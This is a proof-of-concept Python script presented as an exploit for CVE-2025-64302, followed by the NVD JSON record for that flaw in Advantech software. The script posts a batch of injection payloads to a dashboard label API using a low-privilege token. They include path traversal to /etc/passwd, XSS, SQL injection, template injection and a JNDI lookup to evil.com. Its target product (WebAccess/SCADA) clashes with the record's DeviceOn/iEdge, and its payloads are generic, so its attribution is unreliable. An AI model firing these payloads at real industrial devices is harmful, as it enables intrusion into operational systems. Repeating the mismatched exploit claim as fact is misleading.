CVE-2025-64302

import requests import sys # CVE-2025-64302 PoC - Insufficient Input Sanitization # Target: Advantech WebAccess/SCADA Dashboard TARGET_URL = "http://target-device:8080" AUTH_TOKEN = "Bearer <low_privilege_token>" def test_input_sanitization(): """ Test for insufficient input sanitization in dashboard label/path This PoC demonstrates information disclosure through malformed input """ # Malicious payloads to test input validation payloads = [ "../../etc/passwd", # Path traversal attempt "<script>alert(1)</script>", # XSS attempt "' OR '1'='1", # SQL injection attempt "{{7*7}}", # Template injection "${jndi:ldap://evil.com/a}" # Log4j-style injection ] headers = { "Authorization": AUTH_TOKEN, "Content-Type": "application/json" } for payload in payloads: # Test dashboard label parameter data = { "label": payload, "path": "/dashboard/config" } try: response = requests.post( f"{TARGET_URL}/api/dashboard/label", json=data, headers=headers, timeout=10 ) # Check for information disclosure in error messages if response.status_code >= 400: print(f"[!] Payload: {payload}") print(f"[!] Status: {response.status_code}") print(f"[!] Response: {response.text[:500]}") print() except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": print("[*] CVE-2025-64302 PoC - Advantech Dashboard Input Validation") print("[*] Testing for insufficient input sanitization...\n") test_input_sanitization()

{"cve": {"id": "CVE-2025-64302", "sourceIdentifier": "[email protected]", "published": "2025-11-06T23:15:38.080", "lastModified": "2025-11-19T20:20:00.830", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Insufficient input sanitization in the dashboard label or path can allow\n an attacker to trigger a device error causing information disclosure or\n data manipulation."}, {"lang": "es", "value": "Sanitizatión insuficiente de la entrada en la etiqueta o ruta del panel de control puede permitir a un atacante desencadenar un error en el dispositivo, causando revelación de información o manipulación de datos."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:deviceon\\/iedge:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.0.2", "matchCriteriaId": "36500DFB-E95F-4E82-8CA9-70E5353467FA"}]}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-310-01.json", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.advantech.com/emt/contact", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-310-01", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory", "US Government Resource"]}]}}